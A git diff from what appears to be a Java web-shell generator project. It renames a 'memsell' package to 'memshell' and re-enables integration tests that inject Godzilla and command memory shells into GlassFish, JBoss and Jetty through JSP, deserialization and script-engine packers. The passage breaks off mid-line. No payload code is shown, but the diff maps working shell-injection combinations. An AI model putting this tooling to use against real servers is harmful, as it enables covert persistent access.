generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java index bc3048a1..6da11a8f 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaTest.java @@ -1,8 +1,9 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; +package com.reajason.javaweb.memshell.tomcat.godzilla; import com.reajason.javaweb.config.GodzillaConfig; import com.reajason.javaweb.config.ShellConfig; -import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.memshell.GodzillaGenerator; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.util.ClassUtils; import com.reajason.javaweb.util.CommonUtil; import org.junit.jupiter.params.ParameterizedTest; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 7b93ef5e..41652aa9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -2,11 +2,9 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.config.*; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; -import java.util.Base64; - /** * @author ReaJason * @since 2024/12/5 diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 754d4527..7d3068c4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -49,16 +49,16 @@ public class GlassFish3ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index 2c1df5a2..d0502037 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -57,8 +57,8 @@ public class GlassFish4ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index 58b71c4f..e54da251 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -50,8 +50,8 @@ public class GlassFish501ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index be3a3546..1c0c4a1e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -54,9 +54,9 @@ public class GlassFish510ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index 754052c0..67378179 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -50,8 +50,8 @@ public class GlassFish6ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] -// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index 9d100290..a010a96a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -46,7 +46,7 @@ public class GlassFish7ContainerTest { arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), -// arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] + arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index 600040c6..7ebd6926 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,7 +41,8 @@ public class Jboss423ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 5c74d43e..64c717b6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,7 +41,8 @@ public class Jboss510ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index e76b8893..5d558cb7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index a6c65b51..238618be 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,9 +45,13 @@ public class Jboss711ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index 2151e15d..6626db6c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbosseap; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,9 +42,13 @@ public class JbossEap6ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 26886913..7b7adf8c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbosseap; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index c93ac299..86eec2ff 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 9f78dd73..a8608667 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -40,7 +40,7 @@ public class Jetty11ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), //

Caused by: java.lang.IllegalStateException: No multipart config for servlet + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 31c5c2e3..bf9cd0e9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -40,7 +40,8 @@ public class Jetty61ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index f6bdb768..44bd7081 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -40,7 +40,8 @@ public class Jetty76ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 05009c4e..96b1b646 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index c7e50119..fa79684d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index b310cc3f..2eab178c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import 